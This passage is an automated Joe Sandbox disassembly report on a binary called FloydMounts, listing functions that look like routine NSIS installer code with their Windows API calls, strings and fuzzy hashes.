Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
API String ID: 3156913733-2180253247
Opcode ID: 90e3c086b79b93c3d546270fca5f8a0155083991d9bd97c4b180a1ab42e6237a
Instruction ID: 745ed8f2a75272e62c3db2eabdadd847eb541a5ed47e1f4d533bb28834579f01
Opcode Fuzzy Hash: 90e3c086b79b93c3d546270fca5f8a0155083991d9bd97c4b180a1ab42e6237a
Instruction Fuzzy Hash: CD01F7B2B4021076D72076B69C87FAB2A5CDB81768B20447BF502F60D3E57D8C40D138

Function 00405EAB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405EC9
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,0040382A,004DF0C0,004E30C8), ref: 00405EE4

Strings

nsa, xrefs: 00405EB8

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 4f25573a167f5d7e94ef3749a48273d52f629be49305b635a70712ae5e4e57be
Instruction ID: e8a8b8b1c64af8904643f6899c21fc71a506a3659d4cdc328e790c9301f5e3ed
Opcode Fuzzy Hash: 4f25573a167f5d7e94ef3749a48273d52f629be49305b635a70712ae5e4e57be
Instruction Fuzzy Hash: D8F09076600208BBDB10CF69DD05A9FBBBDEF95710F00803BE944E7250E6B09E50DB98

Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShowWindow.USER32(00000000,00000000), ref: 0040219F

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

EnableWindow.USER32(00000000,00000000), ref: 004021AA

Strings

HideWindow, xrefs: 0040218D

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: Window$EnableShowlstrlenwvsprintf
String ID: HideWindow
API String ID: 1249568736-780306582
Opcode ID: 4821ec273fe2e599a5ae382fcc080c7bd17c9037b2f84cac4d1a2c1341ad8622
Instruction ID: f8c041d4f94449417b74c9df8c85987c6128e61f091d6cc810bdb42da7a8293a
Opcode Fuzzy Hash: 4821ec273fe2e599a5ae382fcc080c7bd17c9037b2f84cac4d1a2c1341ad8622
Instruction Fuzzy Hash: 13E0D832A04110DBDB08FFF5A64959E76B4EE9532A72104BFE103F61D2DA7D4D01C62D

Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 0bd6c5a8fdcdf2cf9a6bba33cc7502a6d80b6dcfa2a0e894e00c73e73fb262d4
Instruction ID: 11189a7010c7ef4f551f6273c6f502c25af520ce36bbf29b1e3929f99495605f
Opcode Fuzzy Hash: 0bd6c5a8fdcdf2cf9a6bba33cc7502a6d80b6dcfa2a0e894e00c73e73fb262d4
Instruction Fuzzy Hash: 64F02831A10220DBD7165B349C08B273799BB81354F258637F819F62F2D2B8CC41CB4C

Function 00405E7C Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: ea37a1a334eaa57c44c9ac3bd50a12c4681d8f83bf4f6bb47fe7ae46db9ee3b5
Instruction ID: 4537c79132fc6b4e07af9f6f4ddc5e1db4475248beafdc935845b7fb5ee8fdc2
Opcode Fuzzy Hash: ea37a1a334eaa57c44c9ac3bd50a12c4681d8f83bf4f6bb47fe7ae46db9ee3b5
Instruction Fuzzy Hash: 08D09E71558202EFEF098F60DD1AF6EBBA2EB94B00F11852CB252550F1D6B25819DB15

Function 00405E5C Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00406EAD,?,?,?), ref: 00405E60
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E73

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 5e2af4692c2c60a0182b675181584894d3553f063f17430bbe0abaa40064c643
Instruction ID: cfdb79520ecdf627421b2718222ef799ef1344ba1afc56e39be72dea6d7b0432
Opcode Fuzzy Hash: 5e2af4692c2c60a0182b675181584894d3553f063f17430bbe0abaa40064c643
Instruction Fuzzy Hash: 25C04C71404905BBDA015B34DE09D1BBB66EFA1331B648735F4BAE01F1C7358C65DA19

Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033D2,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: f617a5e021c5b0a319d386adb8c185e40962a0be4c43712b9beeddd23e90c427
Instruction ID: 6ac59f4cb3fe35c1316d0bdd9a7bfda3bd496f009ebd6252a63c396af269f63e
Opcode Fuzzy Hash: f617a5e021c5b0a319d386adb8c185e40962a0be4c43712b9beeddd23e90c427
Instruction Fuzzy Hash: 17E08C32650118FFDB109EA69C84EE73B5CFB047A2F00C432BD55E5190DA30DA00EBA4

Function 004037F8 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406064: CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
Part of subcall function 00406064: CharNextW.USER32(?,?,?,00000000), ref: 004060D6
Part of subcall function 00406064: CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
Part of subcall function 00406064: CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF

CreateDirectoryW.KERNELBASE(004E30C8,00000000,004E30C8,004E30C8,004E30C8,-00000002,00403A37), ref: 00403819

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID:
API String ID: 4115351271-0
Opcode ID: ec387b52da79c0d7c7db124e40c02042f93ac80872f0e6df2e3daec6660af043
Instruction ID: c72586207ca4fe3275e323c6ce7a55902ce0015f7edb1a19efdc0f2786dab76c
Opcode Fuzzy Hash: ec387b52da79c0d7c7db124e40c02042f93ac80872f0e6df2e3daec6660af043
Instruction Fuzzy Hash: 52D0921218293121C66237663D0ABCF195C4F92B2EB0280B7F942B61D69B6C4A9285EE

Function 00403DDB Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: bd6570ef2729c24474e20ae8e5d55f292f33ecedeb6df88af58882e0072056a2
Instruction ID: 85c9fcbfeeb581dd75f9c62538f5ff43d76368f59f1a6e3d2bff8e12452ff276
Opcode Fuzzy Hash: bd6570ef2729c24474e20ae8e5d55f292f33ecedeb6df88af58882e0072056a2
Instruction Fuzzy Hash: 0FC04C75644201BBDA108B509D45F077759AB90701F1584257615F50E0C674D550D62C

Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403786,?,?,?,?,00000000,00403A73,?), ref: 00403376

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 4bc311ea945a84079b9d2f50dcaf6257f2c75df5904c01363540678bd5f9aa8d
Instruction ID: a45aac6c24818fd8413ddab5752014fb5f73d741524c96ff6ff4c62981ea4fba
Opcode Fuzzy Hash: 4bc311ea945a84079b9d2f50dcaf6257f2c75df5904c01363540678bd5f9aa8d
Instruction Fuzzy Hash: 83B01231640200FFEA214F50DE09F06BB21B794700F208430B350380F082711820EB0C

Function 00403DC4 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004057E0), ref: 00403DD2

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 4d265d85d83b9aee7a2860bb21ac42a33598db5d2fcd0833c625a930327cbe25
Instruction ID: 19f7ed481b0b3084dfc48602985d3e47af739273f13ec77122cd0735a5794091
Opcode Fuzzy Hash: 4d265d85d83b9aee7a2860bb21ac42a33598db5d2fcd0833c625a930327cbe25
Instruction Fuzzy Hash: CCB01235181200BBDE514B00DE0AF867F62F7A8701F008574B305640F0C6B204E0DB09

Function 00403DB1 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00405779), ref: 00403DBB

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: afebc9adcdbb38a0c5e5e33596f84c2f2140198a38245a29fea50a5d9e588109
Instruction ID: a171dc49094d5971c6211130fd655c06747b54d01a1b52cbafa865c71f5bacad
Opcode Fuzzy Hash: afebc9adcdbb38a0c5e5e33596f84c2f2140198a38245a29fea50a5d9e588109
Instruction Fuzzy Hash: 2CA001BA845500ABCA439B60EF0988ABA62BBA5701B11897AE6565103587325864EB19

Non-executed Functions

Function 004049A8 Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 004049BF
GetDlgItem.USER32(?,00000408), ref: 004049CC
GlobalAlloc.KERNEL32(00000040,?), ref: 00404A1B
LoadBitmapW.USER32(0000006E), ref: 00404A2E
SetWindowLongW.USER32(?,000000FC,Function_000048F8), ref: 00404A48
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A5A
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A6E
SendMessageW.USER32(?,00001109,00000002), ref: 00404A84
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A90
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404AA0
DeleteObject.GDI32(?), ref: 00404AA5
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AD0
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404ADC
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B7D
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404BA0
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404BB1
GetWindowLongW.USER32(?,000000F0), ref: 00404BDB
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BEA
ShowWindow.USER32(?,00000005), ref: 00404BFB
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CF9
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D54
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D69
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D8D
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404DB3
ImageList_Destroy.COMCTL32(?), ref: 00404DC8
GlobalFree.KERNEL32(?), ref: 00404DD8
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E48
SendMessageW.USER32(?,00001102,?,?), ref: 00404EF6
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404F05
InvalidateRect.USER32(?,00000000,00000001), ref: 00404F25
ShowWindow.USER32(?,00000000), ref: 00404F75
GetDlgItem.USER32(?,000003FE), ref: 00404F80
ShowWindow.USER32(00000000), ref: 00404F87

Strings

M, xrefs: 00404B6F
, xrefs: 00404F65
N, xrefs: 00404C32
@, xrefs: 00404BBC

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $ @$M$N
API String ID: 1638840714-3479655940
Opcode ID: 232f7ad113cb9ac5efd1b23bb694dfa7ac126bc5f1dc1702430156d0733604ca
Instruction ID: ef4bce446953bc7ec7e60756d12a1063aab4f745b4df8f164389f1335a379dc2
Opcode Fuzzy Hash: 232f7ad113cb9ac5efd1b23bb694dfa7ac126bc5f1dc1702430156d0733604ca
Instruction Fuzzy Hash: 7B028DB090020AAFEF109F95CD45AAE7BB5FB84314F10417AF611BA2E1C7B89D91CF58

Function 00406CC7 Relevance: 31.7, APIs: 9, Strings: 9, Instructions: 190filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,004CF0A0), ref: 00406CE4
lstrcatW.KERNEL32(00467470,\*.*,00467470,?,-00000002,004E30C8,?,004CF0A0), ref: 00406D35
lstrcatW.KERNEL32(?,00409838,?,00467470,?,-00000002,004E30C8,?,004CF0A0), ref: 00406D55
lstrlenW.KERNEL32(?), ref: 00406D58
FindFirstFileW.KERNEL32(00467470,?), ref: 00406D6C
FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E4E
FindClose.KERNEL32(?), ref: 00406E5F

Strings

RMDir: RemoveDirectory failed("%s"), xrefs: 00406EDC
RMDir: RemoveDirectory("%s"), xrefs: 00406E9B
RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406EBF
RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E84
\*.*, xrefs: 00406D2F
Delete: DeleteFile("%s"), xrefs: 00406DE8
Delete: DeleteFile on Reboot("%s"), xrefs: 00406E0C
ptF, xrefs: 00406D1A
Delete: DeleteFile failed("%s"), xrefs: 00406E29

Memory Dump Source

Source File: 00000000.00000002.1662975407.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1662957220.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663004750.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663022273.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1663336351.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FloydMounts.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*$ptF
API String ID: 2035342205-1650287579
Opcode ID: a107dcf2f5cda8a7bb449344070620469a6265ca89df76249a653839e461c381
Instruction ID: e61cf0fe73e9c947a39cb72df690d6d83a08ee9d5dae9ef8ba60e8d8024aa79e
Opcode Fuzzy Hash: a107dcf2f5cda8a7bb449344070620469a6265ca89df76249a653839e461c381
Instruction Fuzzy Hash: 3E51D225604305AADB11AB71CC49A7F37B89F41728F22803FF803761D2DB7C49A1D6AE

Function 004044D1 Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 300stringkeyboardCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F0), ref: 00404525
IsDlgButtonChecked.USER32(?,000003F0), ref: 00404533
GetDlgItem.USER32(?,000003FB), ref: 00404553
GetAsyncKeyState.USER32(00000010), ref: 0040455A
GetDlgItem.USER32(?,000003F0), ref: 0040456F
ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404580
SetWindowTextW.USER32(?,?), ref: 004045AF
SHBrowseForFolderW.SHELL32(?), ref: 00404669
lstrcmpiW.KERNEL32(0046E220,00451D98,00000000,?,?), ref: 004046A6
lstrcatW.KERNEL32(?,0046E220), ref: 004046B2
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004046C2
CoTaskMemFree.OLE32(00000000), ref: 00404674

Part of subcall function 00405CB0: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403FAD), ref: 00405CC3

Part of subcall function 00406064: CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
Part of subcall function 00406064: CharNextW.USER32(?,?,?,00000000), ref: 004060D6
Part of subcall function 00406064: CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
